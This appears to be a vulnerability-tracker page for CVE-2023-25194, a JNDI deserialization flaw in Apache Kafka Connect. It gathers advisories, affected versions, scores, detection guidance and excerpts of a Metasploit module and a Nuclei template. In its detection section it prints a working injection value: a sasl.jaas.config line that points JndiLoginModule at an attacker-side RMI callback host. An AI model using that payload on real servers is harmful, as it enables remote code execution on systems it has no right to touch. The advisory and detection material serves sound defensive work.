CVE-2023-25194
published 2023-02-07CVE-2023-25194: A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to…
PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
95.30%
99.9th percentile
A possible security vulnerability has been identified in Apache Kafka Connect API.
This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config
and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0.
When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config`
property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the
`producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties.
This will allow the server to connect to the attacker's LDAP server
and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server.
Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.
Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box
configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector
client override policy that permits them.
Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage
in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka Connect 3.4.0.
We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for
vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | kafka | 2.0.0 – 3.3.2 | — |
| apache | kafka_connect | 2.3.0 – 3.3.2 | — |
| apache_software_foundation | apache_kafka | 2.0.0 – 3.3.2 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandsasl.jaas.config=com.sun.security.auth.module.JndiLoginModule required user.provider.url="rmi://{{interactsh-url}}:6666/test" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";↗
- →Detect POST requests to /druid/indexer/v1/sampler containing 'JndiLoginModule' in the JSON body, indicating JNDI injection exploitation attempt via the Kafka Connect sampler endpoint. ↗
- →Alert on any Kafka connector configuration (via REST API) where sasl.jaas.config, producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config, or admin.override.sasl.jaas.config is set to 'com.sun.security.auth.module.JndiLoginModule'. ↗
- →Monitor for outbound LDAP or RMI connections originating from Kafka Connect or Apache Druid worker processes, which may indicate successful JNDI callback to an attacker-controlled server. ↗
- →Match HTTP response body containing 'RecordSupplier' combined with HTTP 400 status on POST to /druid/indexer/v1/sampler as a positive exploitation indicator (as used in the Nuclei template). ↗
- →Check for DNS interaction callbacks (OOB/OAST) triggered by the target server after receiving a crafted sampler request, confirming JNDI lookup execution. ↗
- ·Exploitation is only possible on Kafka Connect clusters where connector client override policy permits setting sasl.jaas.config. Since Apache Kafka 3.0.0 this is allowed by default; before 3.0.0 the cluster must have been explicitly reconfigured. ↗
- ·Since Apache Kafka 3.4.0, 'com.sun.security.auth.module.JndiLoginModule' is disabled by default and the system property '-Dorg.apache.kafka.disallowed.login.modules' can be used to block additional problematic modules. ↗
- ·The vulnerability scope extends beyond Kafka Connect to Apache Kafka brokers themselves (tracked as CVE-2025-27819); exploitation of brokers requires AlterConfigs permission on the cluster resource. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ghsa8.8HIGH
osv8.8HIGH
vulncheck8.8HIGH
vendor_oracle8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Apache Kafka Deserialization of Untrusted Data vulnerability
ghsa·2025-06-10·CVSS 8.8
CVE-2025-27819 [HIGH] CWE-502 Apache Kafka Deserialization of Untrusted Data vulnerability
Apache Kafka Deserialization of Untrusted Data vulnerability
In CVE-2023-25194, we announced the RCE/Denial of service attack via SASL JAAS JndiLoginModule configuration in Kafka Connect API. But not only Kafka Connect API is vulnerable to this attack, the Apache Kafka brokers also have this vulnerability. To exploit this vulnerability, the attacker needs to be able to connect to the Kafka cluster and have the AlterConfigs permission on the cluster resource.
Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0, and "com.sun.security.auth.module.JndiLoginModule,com.s
OSV
Apache Kafka Deserialization of Untrusted Data vulnerability
osv·2025-06-10·CVSS 8.8
CVE-2025-27819 [HIGH] Apache Kafka Deserialization of Untrusted Data vulnerability
Apache Kafka Deserialization of Untrusted Data vulnerability
In CVE-2023-25194, we announced the RCE/Denial of service attack via SASL JAAS JndiLoginModule configuration in Kafka Connect API. But not only Kafka Connect API is vulnerable to this attack, the Apache Kafka brokers also have this vulnerability. To exploit this vulnerability, the attacker needs to be able to connect to the Kafka cluster and have the AlterConfigs permission on the cluster resource.
Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0, and "com.sun.security.auth.module.JndiLoginModule,com.s
GHSA
Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
ghsa·2023-02-07
CVE-2023-25194 [HIGH] CWE-502 Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will
OSV
Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
osv·2023-02-07
CVE-2023-25194 [HIGH] Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
Apache Kafka Connect vulnerable to Deserialization of Untrusted Data
A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will
VulnCheck
Apache kafka_connect Deserialization of Untrusted Data
vulncheck·2023·CVSS 8.8
CVE-2023-25194 [HIGH] Apache kafka_connect Deserialization of Untrusted Data
Apache kafka_connect Deserialization of Untrusted Data
A possible security vulnerability has been identified in Apache Kafka Connect API.
This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config
and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0.
When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config`
property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the
`producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties.
This will allow the ser
Red Hat
org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
vendor_redhat·2025-06-10·CVSS 8.8
CVE-2025-27819 [HIGH] CWE-502 org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
In CVE-2023-25194, we announced the RCE/Denial of service attack via SASL JAAS JndiLoginModule configuration in Kafka Connect API. But not only Kafka Connect API is vulnerable to this attack, the Apache Kafka brokers also have this vulnerability. To exploit this vulnerability, the attacker needs to be able to connect to the Kafka cluster and have the AlterConfigs permission on the cluster resource.
Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0, and "com.sun.security.auth.module.JndiLoginModule,com.sun.
Oracle
Oracle Oracle Communications Applications Risk Matrix: PSR Designer (Apache Kafka) — CVE-2023-25194
vendor_oracle·2024-01-15·CVSS 8.8
CVE-2023-25194 [HIGH] Oracle Oracle Communications Applications Risk Matrix: PSR Designer (Apache Kafka) — CVE-2023-25194
Oracle Oracle Communications Applications Risk Matrix: PSR Designer (Apache Kafka) vulnerability
CVE: CVE-2023-25194
CVSS: 8.8
Protocol: HTTP
Remote exploit: No
Affected versions: Network
Advisory: cpujan2024 (JAN 2024)
Oracle
Oracle Oracle Communications Applications Risk Matrix: Notification (Apache Kafka) — CVE-2023-25194
vendor_oracle·2023-07-15·CVSS 8.8
CVE-2023-25194 [HIGH] Oracle Oracle Communications Applications Risk Matrix: Notification (Apache Kafka) — CVE-2023-25194
Oracle Oracle Communications Applications Risk Matrix: Notification (Apache Kafka) vulnerability
CVE: CVE-2023-25194
CVSS: 8.8
Protocol: TCP
Remote exploit: No
Affected versions: Network
Advisory: cpujul2023 (JUL 2023)
Oracle
Oracle Oracle Financial Services Applications Risk Matrix: IDM - Authentication (Apache Kafka) — CVE-2023-25194
vendor_oracle·2023-04-15·CVSS 8.8
CVE-2023-25194 [HIGH] Oracle Oracle Financial Services Applications Risk Matrix: IDM - Authentication (Apache Kafka) — CVE-2023-25194
Oracle Oracle Financial Services Applications Risk Matrix: IDM - Authentication (Apache Kafka) vulnerability
CVE: CVE-2023-25194
CVSS: 8.8
Protocol: HTTP
Remote exploit: No
Affected versions: Network
Advisory: cpuapr2023 (APR 2023)
Red Hat
kafka: RCE/DoS via SASL JAAS JndiLoginModule configuration in Kafka Connect
vendor_redhat·2023-02-07·CVSS 8.8
CVE-2023-25194 [HIGH] CWE-502 kafka: RCE/DoS via SASL JAAS JndiLoginModule configuration in Kafka Connect
kafka: RCE/DoS via SASL JAAS JndiLoginModule configuration in Kafka Connect
A possible security vulnerability has been identified in Apache Kafka Connect API.
This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config
and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0.
When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config`
property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the
`producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties.
Th
No detection rules found.
Metasploit
Apache Druid JNDI Injection RCE
metasploit
Apache Druid JNDI Injection RCE
Apache Druid JNDI Injection RCE
This module is designed to exploit the JNDI injection vulnerability in Druid. The vulnerability specifically affects the indexer/v1/sampler interface of Druid, enabling an attacker to execute arbitrary commands on the targeted server. The vulnerability is found in Apache Kafka clients versions ranging from 2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config property of any of the connector's Kafka clients to com.sun.security.auth.module.JndiLoginModule, it allows the server to establish a connection with the attacker's LDAP server and deserialize the LDAP response. This provides the attacker with the capability to execute java deserialization gadget chains on the Kafka connect server, potentially leading to unrestricted deserialization of unt
Nuclei
Apache Druid Kafka Connect - Remote Code Execution
nuclei·CVSS 8.8
CVE-2023-25194 [HIGH] Apache Druid Kafka Connect - Remote Code Execution
Apache Druid Kafka Connect - Remote Code Execution
The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
Template:
id: CVE-2023-25194
info:
name: Apache Druid Kafka Connect - Remote Code Execution
author: j4vaovo
severity: high
description: |
The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
impact: |
Authenticated attackers can exploit unsafe deserialization in the Kafka Connect REST API to execute arbitrary cod
arXiv
GothX: a generator of customizable, legitimate and malicious IoT network traffic
arxiv_fulltext·2024-07-24
GothX: a generator of customizable, legitimate and malicious IoT network traffic
GothX: a generator of customizable, legitimate and malicious IoT network traffic
Manuel Poisson
[email protected]
0009-0004-1479-4953
Amossys/CentraleSupélec/CNRS/Univ. Rennes/IRISA
Rennes
France
Rodrigo Matos Carnier
[email protected]
0000-0002-0843-3033
NII
Tokyo
Japan
Kensuke Fukuda
[email protected]
0000-0001-8372-2807
NII/Sokendai
Tokyo
Japan
Poisson M. et al.
## Abstract
In recent years, machine learning-based anomaly detection (AD) has become an important measure against security threats from Internet of Things (IoT) networks. Machine learning (ML) models for network traffic AD require datasets to be trained, evaluated and compared. Due to the necessity of realistic and up-to-date representation of IoT security threats, new datasets need to be constantly genera
Bugzilla
CVE-2025-27819 org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
bugzilla·2025-06-10·CVSS 8.8
CVE-2025-27819 [HIGH] CVE-2025-27819 org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
CVE-2025-27819 org.apache.kafka: Kafka JNDI Login Module RCE Vulnerability
In CVE-2023-25194, we announced the RCE/Denial of service attack via SASL JAAS JndiLoginModule configuration in Kafka Connect API. But not only Kafka Connect API is vulnerable to this attack, the Apache Kafka brokers also have this vulnerability. To exploit this vulnerability, the attacker needs to be able to connect to the Kafka cluster and have the AlterConfigs permission on the cluster resource.
Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0, and "com.sun.security.auth.module.JndiLog
http://packetstormsecurity.com/files/173151/Apache-Druid-JNDI-Injection-Remote-Code-Execution.htmlhttps://kafka.apache.org/cve-listhttps://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyzhttp://packetstormsecurity.com/files/173151/Apache-Druid-JNDI-Injection-Remote-Code-Execution.htmlhttps://kafka.apache.org/cve-listhttps://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz
2023-02-07
Published
Exploited in the wild